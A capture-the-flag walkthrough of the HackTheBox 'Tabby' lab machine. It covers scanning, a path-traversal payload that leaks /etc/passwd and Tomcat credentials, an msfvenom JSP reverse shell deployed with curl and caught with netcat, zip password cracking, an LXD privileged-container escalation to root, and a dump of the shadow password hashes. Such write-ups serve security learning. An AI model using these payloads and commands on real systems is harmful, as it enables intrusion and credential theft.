Writeup Hackthebox HTB Tabby
0 - Basic info
OS: Linux
IP: 10.10.10.194
1 - Reconnaissance and enumeration
sudo nmap -sS -sV -sC -O 10.10.10.194
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-20 17:36 CEST
Nmap scan report for 10.10.10.194
Host is up (0.037s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open http Apache Tomcat
|_http-title: Apache Tomcat
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/20%OT=22%CT=1%CU=34734%PV=Y%DS=2%DC=I%G=Y%TM=5F15B9F
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.20 seconds
The key ports are SSH (22), Apache(80) and Tomcat(8080)
Testing the port 80 and 8080 reveals that it is a default page:
Testing with Nikto:
nikto -host 10.10.10.194 -port 8080
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.194
+ Target Hostname: 10.10.10.194
+ Target Port: 8080
+ Start Time: 2020-07-20 18:25:03 (GMT2)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS
+ OSVDB-397: HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ /: Appears to be a default Apache Tomcat install.
+ /examples/servlets/index.html: Apache Tomcat default JSP pages present.
+ OSVDB-3720: /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users.
+ /manager/html: Default Tomcat Manager / Host Manager interface found
+ /host-manager/html: Default Tomcat Manager / Host Manager interface found
+ /manager/status: Default Tomcat Server Status interface found
+ 8169 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time: 2020-07-20 18:31:55 (GMT2) (412 seconds)
---------------------------------------------------------------------------
So there is a manager active, but it is asking for username and password:
Also the version is leaked:
Fuzzing again with Dirbuster
There is an interesting news page, with the url parameter file
10.10.10.193/news.php?file=statement
I used wfuzz to enumerate more:
wfuzz -c -z file,/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hw 0 http://10.10.10.194/news.php?file=FUZZ
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.194/news.php?file=FUZZ
Total requests: 220560
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000003473: 200 150 L 375 W 6507 Ch "statement"
Total time: 1241.794
Processed Requests: 220560
Filtered Requests: 220559
Requests/sec.: 177.6139
But nothing else useful was found fuzzing
2 - Vulnerability Identification
Manually checking the get parameter to check path transversal:
10.10.10.194/news.php?file=../../../../../../../../../../../../etc/passwd
Amazing /etc/passwd leaked but not /etc/shadow :(
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12:man:/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network❌100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve❌101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync❌102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus❌103:106::/nonexistent:/usr/sbin/nologin
syslog❌104:110::/home/syslog:/usr/sbin/nologin
_apt❌105:65534::/nonexistent:/usr/sbin/nologin
tss❌106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd❌107:112::/run/uuidd:/usr/sbin/nologin
tcpdump❌108:113::/nonexistent:/usr/sbin/nologin
landscape❌109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate❌110:1::/var/cache/pollinate:/bin/false
sshd❌111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump❌999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd❌998💯:/var/snap/lxd/common/lxd:/bin/false
tomcat❌997:997::/opt/tomcat:/bin/false
mysql❌112:120:MySQL Server,,,:/nonexistent:/bin/false
ash❌1000:1000:clive:/home/ash:/bin/bash
3 - Exploit
Now taking into consideration that I need a username and password to access to the Tomcat admin panel I tried to leak Tomcat information:
Searching information about the version:
https://ubuntu.pkgs.org/20.04/ubuntu-universe-amd64/tomcat9_9.0.31-1_all.deb.html
Interesting paths
/usr/share/tomcat9/etc/catalina.properties
/usr/share/tomcat9/etc/tomcat-users.xml
Leaking the file tomcat-users.xml with the method described, I got the password.
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<!--
NOTE: By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary. It is
strongly recommended that you do NOT use one of the users in the commented out
section below since they are intended for use with the examples web
application.
-->
<!--
NOTE: The sample user and role entries below are intended for use with the
examples web application. They are wrapped in a comment and thus are ignored
when reading this file. If you wish to configure these users for use with the
examples web application, do not forget to remove the <!.. ..> that surrounds
them. You will also need to set the passwords to something appropriate.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>
Ok, so the password is $3cureP4s5w0rd123! and tomcat is the user.
Using the username and password on:
10.10.10.194:8080/host-manager/html
I got access to the panel. Now I can upload my evil msfvenom .war to make a reverse shell to my machine
msf5 > msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.28 LPORT=1337 -f war > shell.war
[*] exec: msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.28 LPORT=1337 -f war > shell.war
Payload size: 1089 bytes
Final size of war file: 1089 bytes
But the access to the apps is restricted to only local!
So I used curl to upload the exploit, maybe the gui is restricted but the command line is not forbidden:
curl -u 'tomcat':'$3cureP4s5w0rd123!' -T shell.war 'http://10.10.10.194:8080/manager/text/deploy?path=/shell'
And setting up a nc listener:
nc -lvp 1337
listening on [any] 1337 ...
10.10.10.194: inverse host lookup failed: Unknown host
connect to [10.10.14.28] from (UNKNOWN) [10.10.10.194] 40534
Great the reverse shell is running.
whoami
tomcat
There is no user.txt flag so first I need to scalate to another user, maybe Ash because the /etc/password found in the beginning.
After a few enumeration I found the path with backup files:
/var/www/html/files
I just desployed a python http server to exfiltrate the backups:
python3 -m http.server 8899
Getting the file with wget on my local machine
wget 10.10.10.194:8899/16162020_backup.zip
The zip is password protected so I cracked the zip file with a bruteforce attack:
fcrackzip -D -p /usr/share/wordlists/rockyou.txt 16162020_backup.zip
possible pw found: admin@it ()
Great another password, admin@it
Testing the password with user ash and upgrading the shell with Python:
python3 -c 'import pty; pty.spawn("/bin/sh")'
$ su ash
su ash
Password: admin@it
Worked so user is gone:
cd /home/ash
ash@tabby:~$ cat user.txt
cat user.txt
bca58[....]90f2c
4 - Post-Exploitation and privilege escalation
Enumerating with the user Ash I found the service lxc running:
ash@tabby:~/snap/lxd/14804/.config/lxc$ ps -ef | grep lxc
ps -ef | grep lxc
root 9564 1 0 17:48 ? 00:00:00 lxcfs /var/snap/lxd/common/var/lib/lxcfs -p /var/snap/lxd/common/lxcfs.pid
root 11033 1 0 18:09 ? 00:00:00 [lxc monitor] /var/snap/lxd/common/lxd/containers ignite
ash 11398 9328 0 18:09 pts/0 00:00:00 lxc exec ignite /bin/sh
root 11431 9577 0 18:09 ? 00:00:00 /snap/lxd/current/bin/lxd forkexec ignite /var/snap/lxd/common/lxd/containers /var/snap/lxd/common/lxd/logs/ignite/lxc.conf 0 0 -- env PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin HOME=/root USER=root LANG=C.UTF-8 -- cmd /bin/sh
ash 15145 14860 0 19:41 pts/1 00:00:00 grep --color=auto lxc
Interesting, there is a container running
ash@tabby:~/snap/lxd/14804/.config/lxc$ lxc list
lxc list
+--------+---------+--------------------+-----------------------------------------------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+--------+---------+--------------------+-----------------------------------------------+-----------+-----------+
| ignite | RUNNING | 10.89.95.44 (eth0) | fd42:338a:8d74:e625:216:3eff:fed1:70b5 (eth0) | CONTAINER | 0 |
+--------+---------+--------------------+-----------------------------------------------+-----------+-----------+
I used this article to scalate privileges, if the user has the group lxd then it is possible to scalate privileges:
https://www.hackingarticles.in/lxd-privilege-eescalation/
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
I was having a bad time with this part because I got a lot of errors trying to setting up the exploit, finally I used /tmp and everything was working fine.
With the generated file alpine-v3*… I just copied the file to my Desktop and deployed a python http server to serve the exploit to the Tabby machine:
cp alpine-v3.12-x86_64-20200720_2133.tar.gz /home/u915/Escritorio/alpine
Getting the file and exploit
wget 10.10.14.28:8899/alpine
--2020-07-20 19:49:49-- http://10.10.14.28:8899/alpine
Connecting to 10.10.14.28:8899... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3208150 (3.1M) [application/octet-stream]
Saving to: ‘alpine’
alpine 100%[===================>] 3.06M 4.90MB/s in 0.6s
2020-07-20 19:49:50 (4.90 MB/s) - ‘alpine’ saved [3208150/3208150]
ash@tabby:~/.tmp$ ls
ls
alpine
Importing the file alpine with the alias liquid
ash@tabby:~/.tmp$ lxc image import ./alpine --alias liquid
Creating a new container with privileged=true
ash@tabby:~/.tmp$ lxc init liquid -c security.privileged=true
lxc init liquid -c security.privileged=true
Creating the instance
Instance name is: moral-mammal
Checking if it is running:
ash@tabby:~/.tmp$ lxc list
lxc list
+--------------+---------+--------------------+-----------------------------------------------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+--------------+---------+--------------------+-----------------------------------------------+-----------+-----------+
| ignite | RUNNING | 10.89.95.44 (eth0) | fd42:338a:8d74:e625:216:3eff:fed1:70b5 (eth0) | CONTAINER | 0 |
+--------------+---------+--------------------+-----------------------------------------------+-----------+-----------+
| moral-mammal | STOPPED | | | CONTAINER | 0 |
+--------------+---------+--------------------+-----------------------------------------------+-----------+-----------+
Here is the abuse, mounting the host filesystem… / to the path /mnt/root
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
Finally getting the shell as root:
lxc exec ignite /bin/sh
~ # whoami
whoami
root
Great rooted
I went to get the root flag… I forgot the path!
~ # cat /root/root.txt
cat /root/root.txt
cat: can't open '/root/root.txt': No such file or directory
But no panic the loot was inside the mount point:
/mnt/root/root # cat root.txt
cat root.txt
1cd5[...]edaec
Keeping this in mind is simple to get the /etc/shadow and /etc/passwd to get all the passwords
/mnt/root/etc # cat passwd
cat passwd
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12:man:/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network❌100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve❌101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync❌102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus❌103:106::/nonexistent:/usr/sbin/nologin
syslog❌104:110::/home/syslog:/usr/sbin/nologin
_apt❌105:65534::/nonexistent:/usr/sbin/nologin
tss❌106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd❌107:112::/run/uuidd:/usr/sbin/nologin
tcpdump❌108:113::/nonexistent:/usr/sbin/nologin
landscape❌109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate❌110:1::/var/cache/pollinate:/bin/false
sshd❌111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump❌999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd❌998💯:/var/snap/lxd/common/lxd:/bin/false
tomcat❌997:997::/opt/tomcat:/bin/false
mysql❌112:120:MySQL Server,,,:/nonexistent:/bin/false
ash❌1000:1000:clive:/home/ash:/bin/bash
/mnt/root/etc # cat shadow
cat shadow
root:$6$86Nxy4plrFeu0w4C$IfFB5j7BEbjBrUOtkmxyfUZ0lnNIxAcFn3meuvjGqFPSIogXynKx9FU1w3XJIC60rvwuKcg6feaeBqcNWMO0H/:18429:0:99999:7:::
daemon:*:18375:0:99999:7:::
bin:*:18375:0:99999:7:::
sys:*:18375:0:99999:7:::
sync:*:18375:0:99999:7:::
games:*:18375:0:99999:7:::
man:*:18375:0:99999:7:::
lp:*:18375:0:99999:7:::
mail:*:18375:0:99999:7:::
news:*:18375:0:99999:7:::
uucp:*:18375:0:99999:7:::
proxy:*:18375:0:99999:7:::
www-data:*:18375:0:99999:7:::
backup:*:18375:0:99999:7:::
list:*:18375:0:99999:7:::
irc:*:18375:0:99999:7:::
gnats:*:18375:0:99999:7:::
nobody:*:18375:0:99999:7:::
systemd-network:*:18375:0:99999:7:::
systemd-resolve:*:18375:0:99999:7:::
systemd-timesync:*:18375:0:99999:7:::
messagebus:*:18375:0:99999:7:::
syslog:*:18375:0:99999:7:::
_apt:*:18375:0:99999:7:::
tss:*:18375:0:99999:7:::
uuidd:*:18375:0:99999:7:::
tcpdump:*:18375:0:99999:7:::
landscape:*:18375:0:99999:7:::
pollinate:*:18375:0:99999:7:::
sshd:*:18401:0:99999:7:::
systemd-coredump:!!:18401::::::
lxd:!:18401::::::
tomcat:!:18401::::::
mysql:!:18403:0:99999:7:::
ash:$6$XDCNw9I21JdbbjO/$BbIiIM2ovm63Mp05s1Ym156U.agxDqQ4u3AEw//d.55vXvY5sIr7/6Tx5nC2558lIHzlmoX3AGi2Sb2YdMBT21:18429:0:99999:7:::
Thanks for reading!